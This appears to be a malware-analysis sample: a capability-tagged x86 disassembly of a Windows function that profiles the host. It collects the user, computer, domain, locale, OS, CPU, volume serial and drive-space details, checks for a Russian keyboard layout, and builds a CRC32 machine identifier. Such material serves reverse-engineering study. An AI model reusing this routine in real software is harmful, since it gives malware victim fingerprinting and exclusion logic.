Function at 0x407f2a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get disk size
Get hostname
Get session user name
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x84
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, ecx
push edi
xor edi, edi
mov dword [esp + 0x20], ebx
cmp dword [ebx], edi
je 0x407f71
push 4
push 0x3000
push 0x202
push edi
call esi
lea ecx, [esp + 0x1c]
mov dword [ebx + 8], eax
push ecx
push eax
mov dword [esp + 0x24], 0x100
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
cmp dword [ebx + 0xc], edi
je 0x407f99
push 4
push 0x3000
push 0x20
push edi
mov dword [esp + 0x2c], 0x1e
call esi
lea ecx, [esp + 0x1c]
mov dword [ebx + 0x14], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [ebx + 0x18], edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
je 0x407ff9
push 4
push 0x3000
push 0x80
xor eax, eax
push eax
call esi
mov dword [ebx + 0x20], eax
test eax, eax
je 0x407ff9
push ecx
push 0x80
push eax
push str.Domain
push str.SYSTEMCurrentControlSet_servicesTcpipParameters
push 0x80000002
call fcn.00407ed0
test eax, eax
je 0x407fed
mov eax, dword [ebx + 0x20]
xor ecx, ecx
cmp word [eax], cx
jne 0x407ff9
push str.WORKGROUP
push eax
jmp 0x407ff5
push str.undefined
push dword [ebx + 0x20]
call edi
pop ecx
pop ecx
xor eax, eax
cmp dword [ebx + 0x30], eax
je 0x408042
push 4
push 0x3000
push 0x80
push eax
call esi
push ecx
push 0x40
push eax
push str.LocaleName
push str.Control_PanelInternational
push 0x80000001
mov dword [ebx + 0x38], eax
call fcn.00407ed0
test eax, eax
jne 0x408040
push 0x8000
push eax
push dword [ebx + 0x38]
mov dword [ebx + 0x30], eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
cmp dword [ebx + 0x3c], eax
je 0x408133
push 4
push 0x3000
push 0x8a
push eax
call esi
push 4
mov dword [esp + 0x20], eax
add eax, 0xe
push 0x3000
mov dword [esp + 0x2c], eax
xor eax, eax
push 4
push eax
call esi
mov esi, dword [esp + 0x24]
xor ecx, ecx
inc ecx
mov dword [ebx + 0x44], eax
xor eax, eax
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
mov eax, ecx
mov dword [esp + 0x18], eax
push eax
push 0x4195a8
push dword [esp + 0x24]
call edi
inc dword [esp + 0x24]
add esp, 8
push 0x80
push esi
push dword [esp + 0x28]
push str.Keyboard_LayoutPreload
push 0x80000001
call fcn.00407ed0
test eax, eax
je 0x4080ea
push str.00000419
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4080f4
push 0x41a3cc
push dword [ebx + 0x44]
call edi
xor edx, edx
pop ecx
inc edx
xor eax, eax
pop ecx
mov ecx, eax
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], ecx
jmp 0x4080fc
xor eax, eax
mov ecx, eax
mov dword [esp + 0x10], ecx
jmp 0x4080f8
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
cmp eax, 9
je 0x408109
test ecx, ecx
jne 0x40808d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test edx, edx
jne 0x40811f
push 0x41a3d0
push dword [ebx + 0x44]
call edi
pop ecx
pop ecx
push 0x8000
xor eax, eax
push eax
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
cmp dword [ebx + 0x48], eax
je 0x408194
push 4
push 0x3000
push 0x82
push eax
call esi
push ecx
push 0x80
push eax
push 0x41a3d4
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
mov dword [ebx + 0x50], eax
call fcn.00407ed0
test eax, eax
jne 0x408192
push ecx
push 0x80
push dword [ebx + 0x50]
push 0x41a3d4
push str.SOFTWAREWow6432NodeMicrosoftWindows_NTCurrentVersion
push 0x80000002
call fcn.00407ed0
push str.error
push dword [ebx + 0x50]
call edi
pop ecx
pop ecx
xor eax, eax
cmp dword [ebx + 0x54], eax
je 0x4081f5
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 4
push 0x3000
push 0x40
xor eax, eax
push eax
call esi
movzx ecx, word [esp + 0x34]
xor edx, edx
mov dword [ebx + 0x5c], eax
sub ecx, edx
je 0x4081e9
sub ecx, 5
je 0x4081e2
dec ecx
je 0x4081db
sub ecx, 3
je 0x4081d4
push str.Unknown
jmp 0x4081ee
push 0x41a4d0
jmp 0x4081ee
push str.Itanium
jmp 0x4081ee
push 0x41a4d8
jmp 0x4081ee
push 0x41a4f0
push eax
call edi
pop ecx
pop ecx
xor eax, eax
cmp dword [ebx + 0x24], eax
je 0x408217
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
lea eax, [ebx + 0x2c]
push eax
call fcn.00408575
test eax, eax
jne 0x408215
mov dword [ebx + 0x24], eax
jmp 0x408217
xor eax, eax
cmp dword [ebx + 0x60], eax
je 0x40836e
push 4
push 0x3000
push 0x400
xor eax, eax
push eax
call esi
push 4
push 0x3000
mov dword [ebx + 0x68], eax
xor eax, eax
push 0xe0c
push eax
call esi
push 0x100
push eax
mov dword [esp + 0x20], eax
lea ecx, [eax + 0x60c]
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ecx, dword [esp + 0x18]
xor eax, eax
push 0x100
mov word [ecx + 6], ax
lea edx, [ecx + 0x600]
lea eax, [ecx + 0x400]
mov dword [esp + 0x20], edx
push eax
lea eax, [ecx + 0x604]
push eax
lea eax, [ecx + 0x608]
push eax
push edx
push 0x100
lea eax, [ecx + 0x200]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push ecx
mov ecx, dword [esp + 0x14]
push 0x80
push ecx
push str.ProcessorNameString
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call fcn.00407ed0
test eax, eax
je 0x4082f0
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [esp + 0x10]
push ecx
push 0x80
lea eax, [ecx + eax*2]
push eax
push str.Identifier
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call fcn.00407ed0
mov eax, dword [esp + 0x1c]
push dword [eax]
push 0x4195a8
push dword [ebx + 0x68]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
push dword [esp + 0x10]
push dword [ebx + 0x68]
call edi
push str.RtlComputeCrc32
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x24], eax
test eax, eax
je 0x40834b
push dword [ebx + 0x68]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [ebx + 0x68]
push 0x29a
call dword [esp + 0x30]
jmp 0x40834d
xor eax, eax
mov dword [ebx + 0x6c], eax
mov eax, dword [esp + 0x1c]
push 0x8000
mov eax, dword [eax]
mov dword [ebx + 0x70], eax
xor eax, eax
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x408374
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
cmp dword [ebx + 0x74], eax
je 0x408535
push 4
push 0x3000
push 0x400
push eax
mov dword [esp + 0x44], str.UNKNOWN
mov dword [esp + 0x48], str.NO_ROOT_DIR
mov dword [esp + 0x4c], str.REMOVABLE
mov dword [esp + 0x50], str.FIXED
mov dword [esp + 0x54], str.REMOTE
mov dword [esp + 0x58], str.CDROM
mov dword [esp + 0x5c], str.RAMDISK
call esi
push 0x41
mov dword [ebx + 0x7c], eax
lea ecx, [esp + 0x5c]
pop eax
mov word [ecx], ax
inc eax
lea ecx, [ecx + 2]
cmp ax, 0x5a
jbe 0x4083d0
mov eax, dword [0x41a640]
mov dword [esp + 0x2c], eax
mov eax, dword [0x41a644]
mov dword [esp + 0x30], eax
xor eax, eax
mov dword [esp + 0x1c], eax
mov ax, word [esp + eax*2 + 0x58]
mov word [esp + 0x2c], ax
lea eax, [esp + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov esi, eax
cmp esi, 2
jbe 0x40850a
cmp esi, 5
je 0x40850a
xor eax, eax
mov word [esp + 0x30], ax
lea eax, [esp + 0x2c]
push eax
push dword [ebx + 0x7c]
call edi
push 0x5c
pop eax
push dword [esp + esi*4 + 0x34]
mov word [esp + 0x34], ax
push dword [ebx + 0x7c]
call edi
push 0x41a648
push dword [ebx + 0x7c]
call edi
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
test eax, eax
je 0x408500
mov esi, dword [esp + 0x24]
xor eax, eax
imul esi, dword [esp + 0x18]
push eax
push esi
push eax
push dword [esp + 0x20]
call fcn.00410870
mov ebx, eax
mov edi, edx
xor eax, eax
push eax
push esi
push eax
push dword [esp + 0x1c]
call fcn.00410870
mov ecx, ebx
mov esi, edi
sub ecx, eax
mov eax, dword [esp + 0x20]
mov dword [esp + 0x28], ecx
sbb esi, edx
push dword [eax + 0x7c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [esp + 0x20]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push ebx
mov ecx, dword [edx + 0x7c]
push 0x41a64c
lea eax, [ecx + eax*2]
push eax
call edi
mov ebx, dword [esp + 0x30]
add esp, 0x10
push dword [ebx + 0x7c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx + 0x7c]
push esi
push dword [esp + 0x2c]
lea eax, [ecx + eax*2]
push str._I64u
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0x10
push 0x41a668
jmp 0x408505
push 0x41a66c
push dword [ebx + 0x7c]
call edi
mov eax, dword [esp + 0x1c]
inc eax
mov dword [esp + 0x1c], eax
cmp eax, 0x1b
jb 0x4083f5
push dword [ebx + 0x7c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx + 0x7c]
xor edx, edx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov word [ecx + eax*2 - 2], dx
xor edi, edi
cmp dword [ebx + 0x80], edi
je 0x40856b
push 4
push 0x3000
push 0x81
push edi
call esi
mov dword [ebx + 0x84], eax
test eax, eax
je 0x408565
push 0x8000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebx + 0x80], edi
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret